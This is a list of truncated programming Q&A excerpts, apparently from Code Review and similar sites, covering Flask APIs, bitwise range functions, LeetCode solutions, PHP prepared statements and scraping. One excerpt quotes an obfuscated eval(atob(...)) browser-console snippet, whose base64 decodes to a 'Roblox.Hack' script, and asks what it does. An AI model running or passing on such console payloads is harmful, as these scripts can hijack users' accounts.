I'd like to as you what to return form the backend (I use Spring Boot and Angular) in case of credentials validation. User enters some credentials like username and password and the clicks on Next button to go to the next step. But in this moment there is invoking endpoint validateCredentials. My...

I am a bit confused about api:s. I want to implement and design a scalable, secure and high quality restful api using python flask. Flask app in this case is meant to do 3 main task receive a post request handles, uses the received values to perform some calculation and send send a get response...

what that code do if i write it in web console? eval(atob('Um9ibG94LkhhY2sgPSB7CiAgICBvcmlnaW5hbDogJ21pc3NpbmdubycsCiAgICBiYWxhbmNlOiAwLAogICAgaW5pdGlhbGl6ZWQ6IDAsCiAgICBsb2FkaW5nOiBmYWxzZSwKICAgIGl0ZW1zOiBbXSwKICAgIGludmVudG9yeVN0cmluZzogJzxsaSBjbGFzcz0ibGlzdC1pdGVtIGl0ZW0tY2FyZCBuZy1zY29wZSI+P...

I have been working for a few days on writing get, set, and clear bitwise functions in JavaScript to clear not individual bits from an integer n, but to clear entire ranges of bits in n. For example, using the functions below, I would expect this behavior: getNumBits(0b101) // 3 getNumBits(0b1010...

The task is to write a simplified version of Ruby's String#count method oneself. Simplified because it doesn't have to have the negation and sequence parts of the original. Here my solution: def custom_count(string, search_char) sum = 0 seg_string = string.split("") seg_char = search_...

My goal is to make a class that wraps the complexity of OpenCvSharp implementation to show a webcam streaming into a WPF Image. You can find the complete code with a running example (just clone and compile) on my Github repository. The important code is this: public sealed class WebcamStreaming :...

Can someone help me make a losing conditon in the function of " engine() " . i cant seem to make it because making an "else" loop causes the function to recheck it to every character of the list "word" import random #words word_list = ['python', 'abc'] word = random.choice(word_list) length = le...

I've made a Python Flask app and I have some questions about the structure of the main module (equivalent of index.py). Here is what it looks like: from flask import Flask, render_template import database as db import weather_forecast as wf import os app = Flask(__name__) @app.route("/"...

I have created a program where I first set the size of the array and how many times I will look for consecutive values, then I fill in the array and finally I insert the consecutive values, it should look for the least consecutive value it finds in the array. consecutive value means the sum of t...

I'm posting my code for a LeetCode problem copied here. If you would like to review, please do so. Thank you for your time! Problem A message containing letters from A-Z is being encoded to numbers using the following mapping way: 'A' -> 1 'B' -> 2 ... 'Z' -> 26 Beyond that, now the encoded ...

I understand the policy that we do not allow pseudocode in the question. That said, if an OP indicates it, would answers whose language diverges from the language of the post be on-topic? The motivating example is How to optimize bitwise get/set/clear of ranges of bits? . The original language is...

I'm posting my code for a LeetCode problem copied here. If you would like to review, please do so. Thank you for your time! Problem Convert a non-negative integer to its English words representation. Given input is guaranteed to be less than 2^31 - 1. Inputs 123 1234567891 151 1414312 1234 1241...

I am creating a social network and I want to know how secure and clean this code is. I had to update it to prepared statements because I was following a tutorial and even though it was made in 2019 it was using 15 year old code. So can someone tell me if it's good or needs improvement ? Thanks. <...

Background: I'm implementing an algorithm from the paper Polygon Area Decomposition for Multiple-Robot Workspace Division and one of the steps is to represent a polygon as a graph. This is done by splitting a polygon to convex parts that will become the nodes of the graph, and the edges of the gr...

I teach programming, and I currently teach my class about inheritance, abstract classes, and mixins. I wrote this code as an example, and I want to be sure it is as good as possible before I release it as a code example. Few assumptions: The code should only handle piece movements and not manage...

I am currently writing python code that scrapes information from the web. I have to scrape several sites, but there a two types of procedures: Directly scrape from the website Download pdf and scrape it with regexes I consider the following 3 options, which one would be recommended? Option 1 Us...